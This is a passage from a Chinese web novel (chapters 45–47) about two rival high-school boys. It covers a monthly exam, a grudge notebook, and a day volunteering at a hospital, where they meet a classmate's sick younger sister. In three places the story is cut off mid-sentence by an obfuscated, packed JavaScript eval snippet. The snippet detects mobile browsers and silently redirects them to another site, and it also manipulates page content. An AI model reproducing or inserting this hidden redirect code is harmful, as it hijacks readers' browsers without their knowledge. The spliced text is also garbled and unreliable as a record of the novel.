“嗯,确实很塑料,”何非亮点头,煞有介事地笑道,“哪怕埋在土里,也需要100年以上的时间才能降解。” 啊,这…… 纪小鱼大为震撼——何非亮还真是个人才啊!什么时候“塑料友谊”还能被这么解读了!他阅读理解真的能拿分吗? 一时,竟找不到话来反驳。 只能礼貌地微笑、只能微笑着沉默,幻想着把何非亮推下康桥。 “小帅,你的本子带了吗?”何非亮一副似笑非笑的模样,明摆着就是要哪壶不开故意提哪壶,“你那么崇拜我,我帮你签个名好了。” 崇拜?搞笑呢这不! 纪小鱼差点一口气没上来! 就知道何非亮一定会揪着那个本子的事情不放!就知道! 啊啊啊啊啊! 烦死了,不装了! “喂,你也太自恋了吧!”纪小鱼义正言辞地和何非亮划清界限,“我才没有崇拜你呢!一点点崇拜都没有!绝对没有!” “真的没有吗?”何非亮看着有点失望地耸了耸肩,突然又刻意拉长了声音, “那么——” 何非亮微眯着眼注视着纪小鱼,目光深处的揶揄玩味瞬间就变得意味深长了起来。他用食指轻轻敲击着桌面,不紧不慢地发出叩问, “你没有崇拜我,为什么要夸我呢?” “我……这个……”纪小鱼支支吾吾、有口难言。 何非亮幽幽地开口,“总不可能是想夸得我飘起来、然后再看着我摔下去吧?” “怎么……怎么可能嘛!没有的事!”纪小鱼连忙否认,然而眼神闪躲,欲盖弥彰;表情僵硬,欲哭无泪,俨然就是一副心虚的模样。 “如果真是这样的话,那可就太遗憾了。”何非亮嘴角的弧度依旧是云淡风轻、不以为意的样子,只是目光深远,好像一眼就看尽了很长很长的时光,“我可是从小被夸到大的,早就免疫了。” “呵呵,你想多了,我就随口一说。”纪小鱼眉眼微垂,从心底浮动出了一点不知道称不称得上是沮丧还是委屈的情绪,“你要是不爽的话,也可以夸回来啊!什么时候夸人也变得这么复杂了?我……我就很喜欢别人夸我啊!” “哎呦,小鱼,逗你玩的。你就不能说是你真心崇拜我吗?”何非亮又笑得像老狐狸一样了。 “那不行!历史书上说了,不搞个人崇拜!” 这样说完以后,纪小鱼在心底默默叹了口气。莫名的,又觉得好像卸下了一副重担一般地变得轻松了起来。 哎呀,张兄的计划似乎又破产啰! 不过,刚才多少也算是夸了两句吧,这样的话,两罐可乐还是要的。 一罐自己喝。 一罐张兄喝。 敬头顶的月。 敬心里的霜。 45.第四十五章 记仇本子 月考月考月月考,越考我越好! 耶! 加油! 打败何非亮的机会又刷新了,这次一定要争取把握住! 纪小鱼暗暗地给自己打气。 由于月考管得并不太严,因而只是简单地清空抽屉、拉开桌子。 纪小鱼看着一臂距离之外的冤家,眼睛里升起两团熊熊燃烧的战斗火焰。 何非亮也恰好看过来,和他相视一笑。 高手交锋,但笑不语。 只是这笑里藏刀,而双方磨刀霍霍。 语、数、英、政、史、地、理、化、生……天地玄黄,宇宙洪荒,又是新一轮的持久战。以笔为金戈,以思路为铁马,比的是速度和激情,拼的是实力和运气,靠的是耐心和细心。 铃声打响,吹响了冲锋的号角! 考试正式开始! 第一科照例是语文。 纪小鱼下笔如飞,恨不得把答题卡的缝隙都全部答满——此为“猛答”政策,专门针对文科的主观题,立志于靠数量堆积增加踩分的概率,靠全方位、多角度、胡编乱扯、天马行空的解答围剿出完整的正确答案! 反正答对了给分,答错了不扣分。 弊端是有点费手。 要不然手指上怎么长那么大一个茧呢,嗐! 这一边写得热火朝天,那一边倒是显得格外淡定从容。 何非亮先是慢条斯理地翻阅了一遍考卷,偶尔又在考卷的空白处不紧不慢地写几个字的批注,老神在在的模样不像是在答题,倒像是在品析老师出题的质量怎么样,中途还有时间慢慢悠悠地喝一口水。 真的在答题卡上动笔写题的时候,写得那叫一个惜字如金——好像笃定了,自己写的就是标准答案一样。 监考老师路过看了都要感慨……这是有多自信,才敢用这样装逼的操作? 这次语文考试的题目出得中规中矩,纪小鱼写下来一路顺畅,甚至有一种欣快之感。时间也卡得很准,还有足足一个小时可以用来写一篇新时代的八股……啊不,考场作文。 貌似一切都在掌控之中。 只是看到作文题目时,纪小鱼平稳的心态突然有了动摇。 好巧不巧,这题目还真就是苏格拉底的名言——“许多赛跑的失败,都是失败在最后几步的。”然后就是谈谈你的看法,写一篇议论文云云。 啊?苏格拉底讲了那么多话,干嘛偏偏考这一句! 这不欺负人吗? 唉,比赛有输赢,人生有阴晴。此时此刻,前不久1500米失败的阴云又再次笼罩在了少年敏感的内心上。 他,不正是赛跑中,输在了最后几步的可怜人吗? 后人指点当年豪强,说应笑看成败兴亡。 又言将相埋荒冢,输赢转头空。 只因不在局中,说来都轻松。 “局中人”纪小鱼一时感慨万千,低头黯然。 原来,过往的伤痛并没有随风消散,而是化作了扎在心里的一根纤小的倒刺,平时毫无知觉,但稍一碰触,就会感觉到——啊,扎心了! 不用细想,也知道许多同学定然会对这位在最后关头落败的选手持批评的态度,批评他没有坚持、没有抓住时机、没有再多加努力一下,或者想当然地以为他是那个因为胜利近在咫尺、自己遥遥领先就找了个树荫睡大觉的兔子。 呜呜呜,但他们有没有考虑过,其实也许是——对手的问题? 凭什么,何非亮就总能好像不费吹灰之力似的弯道超车、后来居上,残忍地狙杀他得第一的希望! 想起自己,从小到大,夙兴夜寐,不曾懈怠!然而每每总是跑输一步、分低一点、棋差一着、稍逊一筹,遗憾落败,只能惨当“千年老二”,这实在是命运的不公! 啊,天既已生我,何必再生他! 多生一个他,多一对冤家! 纪小鱼下意识地抬起头,幽怨地扫了一眼何非亮,对上的却是一双促狭含笑的眼睛。 何非亮好像早就预料到了纪小鱼会看过来,不知从什么时候开始,目光就已经守株待兔地停在了他的身上。只等着他侧过脸,便饶有兴致地转动起笔尖,向着窗外操场的方向隔空点了点,然后微笑着耸了耸肩。 嘲讽,非常嘲讽! 纪小鱼差点吐出一口老血。 而做完这一系列举动之后的何非亮,好像没事人一样,又披回了高冷淡静的皮囊,低头继续写作文了。 窗帘在微风中浮动,缝隙中透出的阳光在何非亮的身上落在明明暗暗的光影,竟是有一种岁月静好的感觉。 独留了纪小鱼在座位上,气得抓狂。 可恶,太可恶了!要不是看在监考老师的面子上,早就冲过去和何非亮打架了! 忍不了、忍不了! 此仇不报,睡不了觉! 考完就报,不开玩笑! 先记下来! 考试一结束,纪小鱼就赶紧把这个仇记在了本子上。 如此这般,一连两天,九套卷子雷厉风行地做下来,纪小鱼摸了摸自己的脸颊——还好,只是轻微发烫,说明这次考试的难度总体来说并不大。 而记仇本上也又增添了很多很多的内容: 【数学考试,何非亮提前交卷,经过我的时候,故意蹭了一下我的桌角,把我的“解”字给撞飞了!好气好气!】 【英语考试,何非亮翻卷子的声音好大声,烦死了!他就是故意在搞人心态!就不能写慢一点吗?】 【历史考试,何非亮写字的声音好吵!】 【地理考试,何非亮交卷的时候,故意磨磨蹭蹭地站在旁边偷看我的答题卡。然后考试结束以后告诉我,我选择题第11题写错了!啊啊啊啊啊,烦死了!我怎么就写错了呢?】 【生物考试,终于轮到我提前交卷了!我也故意蹭了一下何非亮的桌角,结果发现他只是在草稿纸上画乌龟!不是,他有病!?害得我的腿都撞青了!好气哦!】 …… 不过,气归气。 总算考完了。 这意味着—— 又可以放周末假了。 摆好桌子,又把要用的东西从教室后的储藏柜里收拾回抽屉,忙活来忙活去,总算是忙活好了。 纪小鱼松了口气,接下来,就是坐等放学,跑路回家了! 不对!脑海中突然划过一道闪电,提醒他还有更重要的事情没做! 那就是—— 苏醒吧,复仇时刻!!! 说过了,和何非亮结下的这些个仇,考完就报,不开玩笑! 说到做到! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080826|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “啊啊啊啊啊,何非亮,我要和你打架!”纪小鱼气势汹汹地扑了上去,却被何非亮一把按住肩膀。 “小鱼,淡定。打架多幼稚啊,”何非亮循循引诱,“不如我们玩点高级的?” “啊?”纪小鱼扬起的胳膊暂时地放了下来,“什么高级的?” “看见黑板上的假期作业了吗?”何非亮指了指教室前的黑板——原本空白的黑板,在考试乍一结束后,就被课代表们尽职尽责地填满了密密麻麻的作业。教室里也因此哀嚎一片,叫苦连天。 “看见了啊,”纪小鱼向黑板方向张望,一目十行,“我视力好着呢。” “离放学还有十五分钟,我们比谁先写完作业吧?” “你说的哦~”纪小鱼闻言兴奋地搓起了小手,“不能反悔!反悔要学狗叫!” 何非亮面带慈爱地点头,“不反悔!” 哎呦喂,真的假的? 纪小鱼憋了很久,才勉强不让自己笑出声来。 但心里,已经开心地吐泡泡了。 嘿嘿,何非亮这次总算大意了吧! 他怕是不知道,这黑板上,绝大部分的作业我可是早就写完了的! 啧,只剩了一套刚刚才发下来的化学卷子还没写……没办法,这个没法提前做嘛! 我算算,我算算……也就十分钟就能搞定! 我赢定了!!! 纪小鱼志在必得,也不浪费时间,立马就坐定,奋笔疾书了起来。 专注力飙升到了100%! 渐渐的,教室里的嘈杂声也听不见了,身旁的景物也褪色成黑白了,眼睛里只剩下了题:羟基、羧基、醛基、酯基…… 何非亮坐在一旁,不慌不忙地拿出一本《Science》的杂志翻看,偶尔转过头,目光欣慰地看着纪小鱼写得冒烟的笔尖。 十分钟后…… “我写完了!”纪小鱼激动地把卷子往何非亮课桌上一推,“这个是化学作业。” 然后又在课桌抽屉里翻找,一本一本地把习题册和卷子都抽了出来。 “这个是历史作业!” “这个是数学!” “语文周记也编好了!” …… 不一会儿,课桌上就摞起了高高一叠作业本和厚厚一沓卷子。 “怎么样、怎么样?”纪小鱼神气地挑眉,平伸出手,挑衅地向上扬了扬,“何非亮,你的作业呢?快拿出来给我检查吧!哦呵呵呵呵呵!” “唔,”何非亮面露为难,“我上次期中考考了第一,所以可以一直免作业到这次月考成绩出来。” 纪小鱼愣了愣。 “唉,”何非亮无奈地摊了摊手,“我其实没有作业要写。” 什么!? 这……这怎么可以呢! “不行、不算、不公平!”纪小鱼气急败坏地囔囔,“我要打架!” “哎呦,小鱼,你刚才写了那么多作业,手不酸吗?”何非亮自顾自地背起书包,踏着放学铃声沿着教室后方的走廊走出了几步,推拖道,“下次再打吧。” 呃,手好像是有点酸…… 纪小鱼委屈巴巴地摸了摸自己发烫的手心。 却看见何非亮停在后门口,笑笑地回头,“走了,回家了。我载你。” 46.第四十六章 怀才不遇 学校门口的林荫路,宽阔笔直,枝叶繁茂,宜信步闲庭,宜载歌载笑,亦宜踩着单车,穿行过树影的斑驳,一骑绝尘。 晚风扑面。 风里夹着初入冬时爽快的凉意,而夕阳潜藏在深红色的云间。 世间的美丽之处,有时候一抬头就看见了。 何非亮迎风开口,“小鱼,你周末作业都写完了,要不要出去玩?” “不去。”纪小鱼一口回绝。 何非亮想了想,又问,“那要不要一起去做义工?” “义工?” “嗯,你在写作业的时候,严老师还来教室里特意强调了这件事。” “啊?”纪小鱼翻起眼睛,时光在脑海里极限倒带。 原本被过滤掉的杂音里,仔细回想起来,果然出现了严老师一板一眼的腔调——“同学们,还有一件事请务必注意一下。我们高中阶段是有义工时长要求的,大家不要忘记了。原则上学校是要求高二上学期必须全部做完的,大家注意合理安排时间!” 哎呦,差点忘了还有这回事! 纪小鱼挠了挠头。 说起来,当代高中生,还是很忙的! 不仅忙着学习,还要忙着乐于助人! “那好吧。”纪小鱼想了想,点头答应下来,反正都是要做的,那晚做不如早做。 于是星期天一大早,纪小鱼就和何非亮一起站在了市中心医院的大厅,穿上了志愿者专属的红马甲。 一看到何非亮的新造型,纪小鱼就忍不住笑出声来。 这个新造型,怎么说呢? 大概就是——又帅又好笑,但是帅可以忽略,所以真的很好笑。 平日里何非亮总是爱摆出一副高冷如冰山、缥缈如极光的模样,衣服千篇一律都是些又酷又拽、生人勿近的冷淡颜色,就连过年也只是敷衍地围一条暗红色的针织围巾。这还是第一次看见他穿上这么喜庆、这么热情、这么接地气的红色! 哈哈哈,这是抽中了隐藏款何非亮吗? 正在纪小鱼准备笑着出声打趣几句时,何非亮抢先开口,好像话里有话地问道,“哎呦,小鱼,你怎么一看到我就这么高兴啊?” 嘶~这话一听就好像有圈套,似是要引诱他说出什么了不得的话语,然后断章取义、借题发挥,实在是阴险至极。 和何非亮说话真的要很小心才行! 纪小鱼才不上当,立马板正脸孔,肃然不笑,正色道,“哪有!我刚才脸抽筋罢了!” 说起来,做志愿者也没有多少活,至少对高中的同学还是很照顾的。人来人往,他们就负责指指路,或者做一些诸如教别人怎么用医院里的机器打印单子之类的杂事。这不是,勿以善小而不为嘛! 不过,也不知道为什么哈! 好像来找何非亮帮忙的人就是比较多一点! 纪小鱼也不知道自己该乐得清闲,还是该在心里默数柠檬。 唉,还是数柠檬吧…… 凭什么做志愿者,何非亮都显得比我更受欢迎哦!早知道不和他一起来了! 一颗柠檬、两颗柠檬、三颗柠檬……柠檬柠檬,好多柠檬! “帅哥!”突然有人喊。 这一声喊里混杂着三分惊奇,七分赞叹。纪小鱼连忙从百无聊赖中回过神来——诶,谁叫我? 不仅是纪小鱼,整个医院大厅的男女老少都朝着声音传来的方向看了过去——大概有的以为是在叫自己,有的是想看看哪里有帅哥。 最后,众人的目光都不约而同地汇集在了何非亮的身上——只可惜何非亮他本人耳朵不太好,眼睛也不太好,完全没察觉到似的,这么大动静连眉毛也没抬,只顾着低头帮一位阿婆用手机挂号。 一通操作下来,号很快就挂好了。阿婆笑逐颜开地道谢,才刚走开几步,那个刚才出声高喊“帅哥”的朋友就立马激动地小跑上来代替了她的位置。 大哥递给何非亮一张名片,“您好,我是天寰娱乐的星探,这是我的名片。帅哥,有没有兴趣来娱乐圈发展?” “对不起,没有这个意愿。”何非亮瞥了一眼星探大哥还挂着点滴的左手,淡笑着回绝,“您太敬业了,还是先好好休息吧。” 星探大哥一定让何非亮把名片收下,并且如果改主意了一定随时联系他——他一年365天,全年无休,24小时有空! “帅哥,相信我,你这个形象和气质,肯定会爆红的!”星探大哥一边拄着铁杵一般的点滴架,一边不忘回头喊。 何非亮无奈摇头。 啊,酸酸的柠檬酸酸的我~ 酸酸的柠檬酱往心头抹! 纪小鱼独自倚靠在小小的柠檬树下酸啊酸啊酸。酸了好一会儿,终于阴阳怪气地在一旁开口道,“哎呦呦,何非亮,你还真的是好跑火哦~” “怎么了,小鱼,”何非亮看向站在一旁气鼓鼓的纪小鱼,“我不进娱乐圈,你看上去好像很失望?” “不是,他怎么不问我啊?” “嗯?”何非亮的眼角眉梢流露出了些许好奇,“怎么,你想进娱乐圈?” “不想!” “那你要他问你干嘛?” “我就想知道我帅不帅!” “你帅得很!”何非亮缓缓地笑了开来,又补了一句,“真的!” 呵呵。 这种敷衍的夸赞一点用也没有。 听着还非常的嘲讽! “而且你还很有才华。”何非亮看着纪小鱼笑了笑,“才华有时候是看不见的,但只要一有机会展露,整个世界的光都会落在你身上。” 啊?真的假的? 纪小鱼惊呆了。 何非亮夸起人来了!?夸的人还是我? 不过,纪小鱼对何非亮这副吃错药了的表现颇为满意,欣慰地点了点头,笑眯了眼睛,得寸进尺道,“嗯,准你详细夸夸我的才华。” “呵呵。”何非亮一声轻笑。 纪小鱼顿时冷汗涔涔——惨了,以他多年的经验,一听到何非亮这样笑,那肯定是大事不妙。 果然,何非亮接着,就悠悠然地补了句,“这不还没有什么机会展露吗?” 哇哇哇哇哇,何非亮,我谢谢你哦!你自己觉得你这样说礼貌吗? 著名哲学家沃兹基辨德的话里,就有这样的句子——“怀才不遇,气到自闭;壮志未酬,何以浇愁!”纪小鱼深以为然。 而自己的才华没有什么机会展露的原因,不正是因为有何非亮这个可恶的家伙,老是碍眼地挡在前头吗? 有小诗为证: 只恨乌云终蔽日,使我光芒无人识! 有朝一日乌云散,四海八荒我为王! 对,就是这个道理,太阳不光亮不能怪太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088092|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳,而要怪遮挡住太阳的乌云!而何非亮就是遮挡住自己光芒的乌云,并且每每给自己留下阴影! 可恶的乌云!可恶的何非亮! 纪小鱼越想越气,气得心里着火,火势还不小。 “不过,”何非亮话锋一转,“下个月的艺术节,倒是个表现的好机会,你要参加吗?” 纪小鱼反问,“你要参加吗?” 何非亮又把问题甩了回来,“如果我参加呢?” “那我……” 纪小鱼嘴巴张了张,卡壳了。 乍一个念头本来想说“那我就不参加了”,但是这么一来,不就显得是,自己听说何非亮要参加就心虚得很,不敢参加了? 可是,这个时候如果说“那我也参加”,或者圆滑一点,说“那我考虑一下”,都显得是何非亮参加自己才有这个想法,岂不搞得自己好像是一个依着何非亮马首是瞻的人么?这可不行! 诶,奇了怪了! 咋回事啊?这问题拉扯来拉扯去,怎么就变成何非亮占据了主动权呢?咋绕来绕去,才一两个回合,就变得自己好像怎么答都要吃个哑巴亏一样?救命,谁懂啊? 一时没想通,纪小鱼只好先搁置回答,虚张声势地问回去,“那我要不要参加,你猜啊?” 谁知何非亮竟然回了一个肯定句,“我猜你不敢。” 完了…… 纪小鱼两眼一黑,深感绝望。 是半夜醒来都要给自己两巴掌的程度。 方才的那一场拉锯,至此输赢再无悬念。纪小鱼被狠狠地拿捏住了,输得那叫一个一败涂地并且不明不白。 不管他怎么想,不管他有多少犹豫,作为一个有着铮铮铁骨的男子汉,此时此刻,也只剩下了唯一一个选项—— “呵呵,何非亮,你这么猜你就大错特错了!”纪小鱼咬牙切齿地大放狠话,“区区一个小小的艺术节,我怎么可能不敢参加!我不仅要参加,还要把你踩在脚底摩擦!就问你敢不敢、怕不怕!” “有点怕哦,”何非亮避重就轻地笑了笑,“可我答应了人要参加的,怎么办?” “凉拌!” 纪小鱼一边朝何非亮翻了个大大的白眼,一边在心里给自己加油—— 高山巍巍何足惧,别人仰望我攀登! 待我攀至高山顶,高山不过垫脚石! …… 就这样一直忙活到了下午四点,还有一个小时就可以“下班”了。 一个小女孩突然一蹦一跳地走过来,一手拉了拉纪小鱼的衣摆,一手伸过来一根草莓味的棒棒糖,“帮我开一下。” “没问题!”纪小鱼接过棒棒糖。 棒棒糖的塑料包装死死纠缠着糖棍,如此结实的包裹像是商家煞费苦心生怕小孩子偷吃一样,不过—— 这位小朋友真是慧眼识珠,一眼就看出了我的心灵手巧! 纪小鱼三下五除二就解开了糖纸,把剥好的棒棒糖笑眯眯地递了回去。 “谢谢你,小鱼哥哥!”小女孩心满意足地把糖含在了嘴里,甜甜一笑。 “不客气,小事一桩!” 诶,等等、等等! 她说什么来着? 小鱼哥哥? 她怎么知道我的名字呢? 纪小鱼下意识地摸了摸自己的脸,疑惑地想——我的名字写脸上了吗? 47.第四十七章 流水行船 “诶,你认识我啊?”纪小鱼微微惊讶,不过很快就平静了下来——好吧,也不奇怪,有些人,就是帅得那样招摇,那样声名远播,一张脸就是一张举世瞩目名片,递出去妇孺皆知。 嘿嘿! 纪小鱼眼珠一转,眼睛忽然就弯起了不怀好意的弧度。他清了清嗓子,指着站在身旁的何非亮,循循问道,“那你知道他是谁吗?” “啊?” 这问题问得简直莫名其妙。小女孩困惑地仰起头,沿着何非亮精致的下颌线往上看去,看了好几眼,又忍不住多看了几眼,终于还是摇了摇头,咬着糖含糊不清地回答道,“不知道。” “哈哈哈哈哈!”纪小鱼仿佛获得了某种胜利,得意而猖狂地笑了起来——哎呀哎呀,如此这般,我和何非亮到底谁更有知名度,管中窥豹、可见一斑,不必多说了! “喂!不知道就是不知道,有什么好笑的!”小女孩以为纪小鱼在嘲笑她,气恼地糖也顾不上吃了,“就算、就算他是什么了不得的人物,应该要知道,也不能怪我吧?我又没有文化!” “我不是在笑你!”纪小鱼连忙解释,随意竟脱口而出了一句颇有意蕴的话,“我只是一个快乐的人,在为自己的快乐而笑!” “啊哈哈哈哈哈!”没撑上两秒,【伪の哲学家】纪小鱼就在一串魔性的笑声中又原形毕露了,“啧啧啧,果然还是我比较帅、比较有知名度啊!何非亮,你看,她就认识我,不认识你!” 何非亮嘴角噙着一点捉摸不透的笑,目光无比慈爱地注视着纪小鱼,缓慢地摇了摇头。 奇怪!何非亮明明什么也没有说,可纪小鱼的脑海中,偏偏清晰无比地浮现出了一声充满嘲讽的“呵呵”。 纪小鱼:“?” 何非亮蹲下身,视线和小女孩平齐,温柔地笑了一下,“你好,我叫何非亮。” “你好,我叫林茉茉。” 纪小鱼一整个惊呆了,眼睁睁地看着他们接下来竟然友好地握了握手。 何非亮这才悠悠闲闲地直起身来,故作随意地朝纪小鱼投来淡淡的一瞥,“你看,她也认识我了。” 纪小鱼:“……(╯▔皿▔)╯” “林茉茉!”远处突然传来一声带着怒意的呵斥,打断了纪小鱼骂骂咧咧的思绪。 有人从人群中穿行快步走来,赫然就是朝着纪小鱼他们所在的方向。 “哎呀!”来者不善,林茉茉连忙就近缩到了纪小鱼的身后。 说时迟那时快,也不知道平时是怎么保养牙齿的,她竟然能够在短短一瞬间,就龇牙咧嘴地依靠着后槽牙的力量,强行把嘴里含着的一整个棒棒糖都咬碎成小块,然后再一副若无其事的样子,把干净到连一滴糖渣也没有残留的白色小棍默默塞进了纪小鱼的裤兜里。 这样以后,她才嘻嘻笑笑地从纪小鱼身后探出一点头来。 “我说你啊,”来人见着了没少胳膊没少腿、看上去完好无损的林茉茉,紧绷着的脊背终于略微放松下来,那些在心中翻涌的复杂情绪也终于平息,化成了一声轻叹,叹完忍不住又数落道,“医院里也是可以乱跑的吗?” “我没有乱跑!”林茉茉郑重声明,“我只是想要回家!” “病还没好怎么回家?” “我不管,我不要住院!我现在就要回家!” “病好了就回家,再坚持一下。” “不行,现在就要回!” “听话。” “不听!”林茉茉的眉头高高地蹙起,“这个病永远也治不好!我不想治了!” 两个人都紧紧地抿着唇,再不说话了。 良久的沉默里,只剩了目光对峙,双方都坚守不肯退让,只可怜了夹在中间的纪小鱼。 纪小鱼尴尬地抬起手,摇晃了一下,试图招呼来某种叫做存在感的东西,“Hi~林寂!我是今天值班的义工,请问有什么需要帮助的吗?” 效果不错,此举终于得到了来人眼角余光一点疲惫的关注。 “啊?纪、纪小鱼!?” 这一看就彻底愣住了。林寂怎么也没想到,在医院还能就这么恰巧地碰见纪小鱼,他还穿着……志愿者的衣服。 气氛仿佛深陷进了愈加尴尬的泥潭。林寂一时找不到话讲,只好不自然地笑了笑。 好在纪小鱼天生的暖场大王,他低下头,看向林茉茉大而沉甸的眼睛—— 左看右看,终于和记忆里某双眼睛的弧度对上了! 哎呦,她可不就是林寂家的那个举报哥哥没写作业的“小屁孩”吗? 她的个子高了点,头发也长了,长成了一个漂亮又任性的小女孩了。 “原来是你啊,”纪小鱼认真地比划了一下记忆中的高度,“上次见你,你还是这么大一点的熊孩子。” “那这次见呢?” “变成熊孩子plus了!” 何非亮听了,唇角漏出一点笑,实在没想到一山还比一山高—— 林茉茉皱着眉,对这个新的形象既非常不满又极度嫌弃,“什么叫熊孩子怕拉屎?好恶心啊!” 纪小鱼:“……不是,你听我解释!” 想了想,纪小鱼觉得情况太过复杂,自己一时无力解释,只好暂时岔开话题,“你不想呆在医院,是不是因为你觉得呆在医院里太闷了?” 林茉茉迟疑了一下,还是点了点头。 确实挺闷的。日子日复一日的一成不变,每天只能靠着看天花板、看墙壁、看床上的铁围栏、看地板的砖缝打发时间。夏天的时候空调的叶片还会上上下下缓慢地摇摆,到了冬天的时候空调也不动了。 这里也没有朋友。 最盼望的是周末。周末的时候,哥哥会来,会坐在她旁边写作业。其他的时候,日子就像是心电监护仪上的一条直线,了无生趣。 “我有办法让你在医院里不那么无聊!”纪小鱼提议道,“你看,要不我明天让你哥给你捎几本题?我建议你先从《小学生疯狂速算10000道》和《数学思维启蒙必备的1000道经典益智题》开始,培养数感,打好基础,然后再慢慢加难度,上竞赛题。你就当你在医院闭关学习,等你再回去上学时,你数学直接制霸全校!怎么样,是不是想一想还有点小激动呢?” 林茉茉吓得打了个哆嗦——做数学题?别,她宁愿看吊瓶上又臭又长的说明书! “小学数学题很有趣的!”纪小鱼极力推销,“比如数独游戏、流水行船、牛奶兑水、羊吃草、还有羊吃草问题的变形‘疯狂游泳池’,就是那个游泳池一边放水一边排水……” 林茉茉目光惊疑地看着纪小鱼,仿佛他是一个来自外星的物种,缓了缓,才有点忸怩地背着手,说道,“你别说啦,我知道你在岔开话题。我要回家,这是我和我哥哥的事情,你先别管。” “那不行!群众的事就是我的事!”纪小鱼热情地拍了拍自己的志愿者马甲,“我还没下班呢,得管!” 林茉茉龇着牙,只觉得对小鱼哥哥的好感度,似乎正在发出警报。 “行。”林寂突然叹了口气,半蹲下来,抬起手帮林茉茉理了理她额角的碎发,语气和目光一样,平平淡淡的,好像只是在闲聊着今天半阴的天气,“你不想住院,也不要乱跑,护士姐姐找不到你会很担心的,我们不要给别人添麻烦。你想回家,我们就去办理出院手续。家里没人照顾你,我不上学了,在家照顾你。” 林茉茉撇了撇嘴,“你去上学,我自己可以。” 林寂闻言,竟然轻轻地笑了一下,“不上了。真的,上学很累的。” 很累的,真的很累的。 有人说高中是争分夺秒的赛跑、是改变命运的拼搏。可是偶尔也会觉得太累太累了,好像总是睡不够,好像总是没精神,总是不能够专心地投入。不是没有想过要努力学习。认真听课的时候,老师的声音不知从什么时候开始就逐渐变成了一场幻觉,听进去的也只有一片迷茫,迷茫得他想对自己发火。积年累月基础落下了太多,旧的知识不知道从何补起,新的更学不会,终于深陷恶性循环,无力回天。 纪小鱼刚才提到的“流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097035|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水行船”问题,他依稀记得自己小学的时候也做过。换汤不换药,求的还是路程、速度和时间的关系,和普通的行程问题区别只在于速度:有的船顺流而下,一路的速度等于“船速+水速”;有的船逆流而上,速度则等于“船速-水速”。 他的生活大概一向是行在逆流的水面,而他是一艘捆绑着枷锁、发动机生锈总是卡壳、愚笨的船,船速甚至敌不过水速。于是一天天的努力,只不过是抵挡自己不要被冲退得离目标更远罢了。好累的。 林茉茉一点一点地垂下眼,盯着地面,医院光亮的地板倒映着她朦胧成一团的影子。被睫毛遮住的眼睛里,一点迷茫的光点顺着下眼眶一闪而消失。 “有学不上,真是傻蛋!”林茉茉用力地抿了抿唇,甩开他们,自顾自地快步往大厅门口走去,“你去上学,我不回家了,我自己回住院部。” 她的背影瘦小,经过时像一缕捉摸不透的风。纪小鱼下意识地伸手,差了一点,没能拉住她。 林寂望向林茉茉远去的身影,整个人像套上了一层壳子,他在壳子里木然不动。 “哎呀,这!我去看着她点!”纪小鱼想了想,不放心,还是追了上去,“林茉茉,你等等!只要你承认我比何非亮更帅,我就给你讲一个故事怎么样?” - 【 我要给你讲的这个故事的名字呢,叫做“美丽的天空”。 嗯,具体来说,事情的经过是这样子的—— 美术课,老师教大家画画。 老师画了一幅非常漂亮的风景画——蓝天白云,青青草地,草地上还盛开着红色的小花。 小熊宝宝也学着画了起来。 可正要给天空上色的时候,小熊宝宝突然发现,自己的蓝色蜡笔不见了。 小熊宝宝着急地哭了起来——没有蓝色蜡笔的话,自己可怎么给画里的天空涂上颜色呢? 小兔子听见了小熊宝宝的哭声,连忙关心地问道,“小熊,你怎么了?” “呜呜呜,”小熊宝宝一边哭一边说,“我想给我的天空涂上蓝色,可是我的蓝色蜡笔不见了!” “别哭了,”小兔子安慰小熊宝宝,“我把我的蓝色蜡笔借给你吧!” “谢谢你。”小熊宝宝感激地止住了哭声。 可是,接过蜡笔的时候,小熊宝宝发现小兔子也还没有给天空上色。 “小兔子,”小熊宝宝不解地问,“你把蓝色蜡笔借给了我,那你自己怎么给天空上色呢?” “哦,我不用蓝色。”小兔子拿出了自己红色、黄色、橙色还有金色的蜡笔,“我要画的是傍晚时分、铺满晚霞的天空。” 对呀,天空并不是只有蓝色这一种颜色! 小熊恍然大悟,把蓝色蜡笔还给了小兔子。 他给自己的天空涂上了黑色,还点缀上了亮晶晶的小星星。 小熊宝宝和美术老师说,“我画的这个,是夜晚的天空!” “嗯!”美术老师夸赞道,“是很美丽的、夜晚的天空呢!” 这个故事告诉我们——生活给了我们不同颜色的蜡笔,但不妨碍我们,去画一个美丽的天空。 】 林茉茉打了个呵欠,耿直地说,“这个故事好幼稚哦。” “哇,”纪小鱼泪眼汪汪,“我好不容易编出来的,你不要这样子伤我的心哇!” “那你讲——”林茉茉眼珠一转,“讲你和何非亮的故事呗,我要听那个。” 